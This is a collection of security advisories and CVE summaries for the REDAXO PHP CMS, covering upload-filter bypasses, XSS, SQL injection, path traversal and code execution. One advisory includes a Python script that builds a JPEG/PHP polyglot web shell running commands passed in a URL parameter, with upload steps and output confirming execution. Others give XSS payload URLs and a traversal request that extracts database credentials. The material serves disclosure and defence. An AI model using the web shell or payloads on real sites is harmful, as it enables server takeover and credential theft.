REDAXO is a PHP-based content management system. Prior to 5.21.2, rexlist::getSortColumn() in redaxo/src/core/lib/list.php accepts the sort request parameter without checking whether setColumnSortable() registered the requested column. An authenticated backend user can make prepareQuery() add an escaped but unauthorized ORDER BY identifier, allowing error-based enumeration of columns in joined tables and ordering by unselected sensitive fields such as rexuser.password. This issue is fixed in version 5.21.2.

Summary rexmediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example shell.php.any.jpg. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named shell.php.any.jpg and, on web servers whose PHP handler matches .php as any segment (modmime AddHandler-style, or any FilesMatch regex without an end anchor), request the file from the public media/ directory to execute arbitrary PHP as the web-server user. The vulnerable check is a regression introduced in commit 9d008697d (PR #6213, Feb 7 2025), which weakened a previously correct strcontains check into a pair of strendswith checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload. The regression has shipped in every release from 5.18.2 through 5.21.0.

Details Root cause At the audited commit 6e0de42, isAllowedExtension performs three checks against the blocked-extension list: php // redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42 public static function isAllowedExtension(string $filename, array $args = []): bool { $fileExt = mbstrtolower(rexfile::extension($filename)); if ('' === $filename || strcontains($fileExt, ' ') || '' === $fileExt) { return false; } if (strstartswith($fileExt, 'php')) { return false; } $blockedExtensions = self::getBlockedExtensions(); foreach ($blockedExtensions as $blockedExtension) { // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities: // -> some webspaces execute files named file.php.txt as php if (strendswith($filename, '.' . $blockedExtension) || strendswith($filename, '.' . $blockedExtension . '.' . $fileExt) ) { return false; } } $allowedExtensions = self::getAllowedExtensions($args); return !count($allowedExtensions) || inarray($fileExt, $allowedExtensions); } For shell.php.any.jpg: 1. $fileExt is jpg, so strstartswith('jpg', 'php') is false. 2. The loop checks two suffix shapes: - strendswith('shell.php.any.jpg', '.php') — false. - strendswith('shell.php.any.jpg', '.php.jpg') — false, because the actual chain is .php.any.jpg. 3. Default $allowedExtensions is empty (no widget types arg on the main mediapool upload page), so the function returns true. The defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — "some webspaces execute files named file.php.txt as php". The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment. Regression history Prior to commit 9d008697d (PR #6213, Feb 7 2025) the check was: php if (strcontains($filename, '.' . $blockedExtension)) { return false; } strcontains('shell.php.any.jpg', '.php') is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like foo.json (which contains the substring .js), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (foo.js.txt, jsdatei.txt, foo.json) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite. The same weak check is invoked a second time from rexmediapool::filename() during the normalization step, so the bypass also passes the renaming guard. rexstring::normalize($mediaName, '', '.-@') preserves ., -, @ and lowercases the rest, so shell.php.any.jpg survives normalization unchanged.

PoC Reproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit 6e0de42 and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations. Payload Minimal JPEG/PHP polyglot, 188 bytes, MIME-classified as image/jpeg: python buildpolyglot.py jpegheader = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00]) phppayload = b'<?php echo "=== PWNED ===\n"; echo "file: " . FILE . "\n"; echo "cmd output:\n"; $cmd = isset($GET[chr(120)]) ? $GET[chr(120)] : "id"; echo shellexec($cmd); ?>' jpegtail = bytes([0xff,0xd9]) open('shell.php.any.jpg','wb').write(jpegheader + phppayload + jpegtail)

$ file --mime-type shell.php.any.jpg shell.php.any.jpg: image/jpeg Validator output

Expected vulnerable deployment flow:

1. Log in as a backend user with media upload permission. 2. Upload the payload as shell.php.any.jpg. 3. REDAXO accepts the final jpg extension and image/jpeg MIME type, and stores media/shell.php.any.jpg. 4. Request https://victim.example/media/shell.php.any.jpg?x=id. 5. On Apache/modphp-style multi-extension handler mappings, PHP code in the uploaded file executes.

Running the exact isAllowedExtension logic from commit 6e0de42 against the default blockedextensions list from redaxo/src/addons/mediapool/package.yml: isAllowedExtension("shell.php.any.jpg") = TRUE — UPLOAD ACCEPTED HTTP execution test The same file was placed in two Apache vhosts. Vhost A — current Ubuntu/Debian default libapache2-mod-php8.3 config (<FilesMatch ".+\.ph(?:ar|p|tml)$">, $ anchor): $ curl -sS -D - -o body "http://127.0.0.1:8081/shell.php.any.jpg?x=id" HTTP/1.1 200 OK Content-Type: image/jpeg $ file body body: JPEG image data, JFIF standard 1.01 File served as a static JPEG. Not exploitable on this configuration. Vhost B — non-anchored handler match (<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">, equivalent to AddHandler application/x-httpd-php .php behavior under modmime): $ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id" === PWNED === file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg cmd output: uid=33(www-data) gid=33(www-data) groups=33(www-data) PHP executes as www-data. RCE confirmed.

Impact A backend user holding only the media[upload] permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.

Redaxo CMS Mediapool Addon 5.5.1 and older contains an arbitrary file upload vulnerability that allows authenticated users to bypass file extension blacklist restrictions. Attackers with editor accounts can upload executable files by using obfuscated extensions like php71 or php53 to evade the blacklist filter and execute arbitrary code.

Redaxo CMS 5.2 contains a cross-site request forgery vulnerability that allows unauthenticated attackers to create administrative user accounts by tricking authenticated administrators into visiting malicious pages. Attackers can craft HTML forms targeting the users endpoint with hidden fields containing admin credentials and account parameters to add new administrator accounts without user consent.

The mediapool feature of the Redaxo Core CMS application v 5.17.1 is vulnerable to Cross Site Scripting(XSS) which allows a remote attacker to escalate privileges

Summary An arbitrary file upload vulnerability was identified in the redaxo. This flaw permits users to upload malicious files, which can lead to JavaScript code execution and distribute malware.

Details On the latest version of Redaxo, v5.18.2, the mediapool/media page is vulnerable to arbitrary file upload.

PoC 1. Log in to the portal then navigate to Mediapool. 2. Upload a png file (ex: poc.png)

!1

3. Intercept the upload HTTP request on burp suite and change filename: poc.1html, Content-Type:image/html and insert the malicious html code. (ex: <IFRAME SRC="javascript:alert(1);"></IFRAME>)

!2

4. Forward the request.

5. Navigate to the file.

!3 !4

Impact Exploiting an arbitrary file upload vulnerability enables attackers to execute malicious code on a server.

Summary Reflected cross-site scripting (XSS) is a type of web vulnerability that occurs when a web application fails to properly sanitize user input, allowing an attacker to inject malicious code into the application's response to a user's request. When the user's browser receives the response, the malicious code is executed, potentially allowing the attacker to steal sensitive information or take control of the user's account.

Details On the latest version of Redaxo, v5.18.2, the rex-api-result parameter is vulnerable to Reflected cross-site scripting (XSS) on the page of AddOns.

PoC 1. Login Redaxo as administrative user. 2. Navigate to the URL: http://localhost/redaxo/index.php?page=packages&rex-api-call=package&&rex-api-result={%22succeeded%22%3Atrue%2C%22message%22%3A%22%3Cimg%20src=x%20onerror=alert(document.domain);%3E%22};%3E%22%7D), the XSS executes.

!2025-02-1413-45

Impact This can lead to various security risks, including session hijacking, phishing attacks and malware distribution. History page visible to administrative user and when an administrator views the infected page, the attacker may gain elevated privileges, further compromising the system.

A cross-site scripting (XSS) vulnerability in Redaxo v5.15.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter in the Template section.

Redaxo v5.15.1 was discovered to contain a remote code execution (RCE) vulnerability via the component /pages/templates.php.

An issue was discovered in REDAXO version 5.15.1, allows attackers to execute arbitrary code and obtain sensitive information via modules.modules.php.

Triggering an error page of the import process in Yakamara Media Redaxo CMS version 5.12.1 allows an authenticated CMS user has to alternate the files of a vaild file backup. This leads of leaking the database credentials in the environment variables.

Remote code execution in the modules component in Yakamara Media Redaxo CMS version 5.12.1 allows an authenticated CMS user to execute code on the hosting system via a module containing malicious PHP code.

Redaxo CMS Addon MyEvents 2.2.1 contains an SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting SQL code through the myeventsid parameter. Attackers can send GET requests to the eventadd.php page with malicious myeventsid values to extract or modify sensitive database information.

Summary Authenticated users with backup permissions can read arbitrary files within the webroot via path traversal in the Backup addon's file export functionality. <img width="664" height="899" alt="image" src="https://github.com/user-attachments/assets/fd1ca69e-b275-4daf-9a62-621cde6525f5" /> <img width="2358" height="445" alt="image" src="https://github.com/user-attachments/assets/fad81152-9e1b-413e-9823-09540a23e2fb" />

Details The Backup addon does not validate the EXPDIR POST parameter against the UI-generated allowlist of permitted directories. An attacker can supply relative paths containing ../ sequences (or even absolute paths inside the document root) to include any readable file in the generated .tar.gz archive.

Vulnerable code: - redaxo/src/addons/backup/pages/export.php (lines 72-76) – directly uses $POST['EXPDIR'] - redaxo/src/addons/backup/lib/backup.php (lines ~413 & ~427) – concatenates unsanitized user input with base path

This allows disclosure of sensitive files such as: - redaxo/data/core/config.yml → database credentials + password hashes of all backend users - .env, custom configuration files, logs, uploaded malicious files, etc.

Affected versions ≤ 5.20.1 (confirmed working)

Patched versions None (as of 2025-12-09)

PoC – Extracting database credentials and password hashes 1. Log in as any user with Backup permission 2. Go to Backup → Export → Files

<img width="1240" height="960" alt="image" src="https://github.com/user-attachments/assets/bc05ba18-9664-4be2-b637-4fec3a0f409a" />

3. Intercept the request with Burp Suite

<img width="2184" height="478" alt="image" src="https://github.com/user-attachments/assets/9fa754a1-2cd0-4d3d-a5cc-cfa34c8a1718" />

4. Change one EXPDIR[] value to ../../../../var/www/html/redaxo/data/core

<img width="978" height="591" alt="image" src="https://github.com/user-attachments/assets/d15f5c7f-b72c-44cc-9be2-da8d3f26f124" />

5. Send request → download archive <img width="423" height="131" alt="image" src="https://github.com/user-attachments/assets/db8a8bda-cdaf-4dea-812f-1e312da908e2" />

6. Extract and open data/core/config.yml <img width="859" height="281" alt="image" src="https://github.com/user-attachments/assets/c8112ce1-5a1d-435f-953b-7eb4e711e042" />

Result: plaintext database password <img width="2534" height="1198" alt="image" src="https://github.com/user-attachments/assets/218ae917-868a-437e-98b0-6471b82c0b10" />

Impact Full compromise of the REDAXO installation: - Database takeover - Password hash extraction → offline cracking → admin access - When combined with other vulnerabilities → RCE

CVSS 4.0 vector & score below.

Credits Discovered by: Łukasz Rybak

A Remote Code Execution (RCE) vulnerability in the template management component in REDAXO CMS 5.20.0 allows remote authenticated administrators to execute arbitrary operating system commands by injecting PHP code into an active template. The payload is executed when visitors access frontend pages using the compromised template.

A stored cross-site scripting (XSS) vulnerability in the module management component in REDAXO CMS 5.20.0 allows remote users to inject arbitrary web script or HTML via the Output code field in modules. The payload is executed when a user views or edits an article by adding slice that uses the compromised module.

Summary A reflected Cross-Site Scripting (XSS) vulnerability exists in the Mediapool view where the request parameter args[types] is rendered into an info banner without HTML-escaping. This allows arbitrary JavaScript execution in the backend context when an authenticated user visits a crafted link while logged in.

Details

Control Flow:

1. redaxo/src/addons/mediapool/pages/index.php reads args via rexrequest('args', 'array') and passes them through as $argUrl to media.list.php. 2. redaxo/src/addons/mediapool/pages/media.list.php injects $argUrl['args']['types'] into an HTML string without escaping:

if (!empty($argUrl['args']['types'])) { echo rexview::info(rexi18n::msg('poolfilefilter') . ' <code>' . $argUrl['args']['types'] . '</code>'); }

PoC

1. Log into the REDAXO backend. 2. While authenticated, open a crafted URL like: <host>/index.php?page=mediapool/media&args[types]="><img+src%3Dx+onerror%3Dalert%28document.domain%29> 4. The info banner displays the unescaped value and activates the injected onerror handler, which opens an alert pop-up.

Impact Arbitrary JavaScript execution in the backend, enabling theft of session cookies, CSRF tokens, or other sensitive data, and allowing an attacker to perform any administrative actions on behalf of the affected user.

Summary Stored XSS in REDAXO 5.18.1 - Article / "content/edit".

Details On the latest version of Redaxo, v5.18.1, the article name field is susceptible to stored XSS.

Impact A malicious actor can easily steal cookie using this stored XSS and perform a session hijacking attack.

An issue in the component /index.php?page=backup/export of REDAXO CMS v5.17.1 allows attackers to execute a directory traversal.

A stored cross-site scripting (XSS) vulnerability in the component /media/test.html of REDAXO CMS v5.17.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the password parameter.

An arbitrary file upload vulnerability in the MediaPool module of Redaxo CMS v5.17.1 allows attackers to execute arbitrary code via uploading a crafted file.

REDAXO CMS v2.11.0 was discovered to contain a remote code execution (RCE) vulnerability.

Mediamanager in REDAXO before 5.6.4 has XSS.

Cross-site scripting (XSS) vulnerability in include/classes/class.rexlist.inc.php in REDAXO 4.3.x and 4.4 allows remote attackers to inject arbitrary web script or HTML via the subpage parameter to index.php.

There is a SQL injection in Benutzerverwaltung in REDAXO before 5.6.4.

The $openerinputfield variable in addons/mediapool/pages/index.php in REDAXO 5.6.3 is not effectively filtered and is output directly to the page. The attacker can insert XSS payloads via an index.php?page=mediapool/media&openerinputfield=[XSS] request.

PHP remote file inclusion vulnerability in Redaxo 2.7.4 allows remote attackers to execute arbitrary PHP code via a URL in the (1) REX[INCLUDEPATH] parameter in (a) addons/importexport/pages/index.inc.php and (b) pages/community.inc.php.

Multiple PHP remote file inclusion vulnerabilities in Redaxo 3.0 allow remote attackers to execute arbitrary PHP code via a URL in the REX[INCLUDEPATH] parameter to (1) simpleuser/pages/index.inc.php and (2) stats/pages/index.inc.php.

PHP remote file inclusion vulnerability in Redaxo 3.0 up to 3.2 allows remote attackers to execute arbitrary PHP code via a URL in the REX[INCLUDEPATH] parameter to imageresize/pages/index.inc.php.

The $args variable in addons/mediapool/pages/index.php in REDAXO 5.6.2 is not effectively filtered, because names are not restricted (only values are restricted). The attacker can insert XSS payloads via an index.php?page=mediapool/media&openerinputfield=&args[ substring.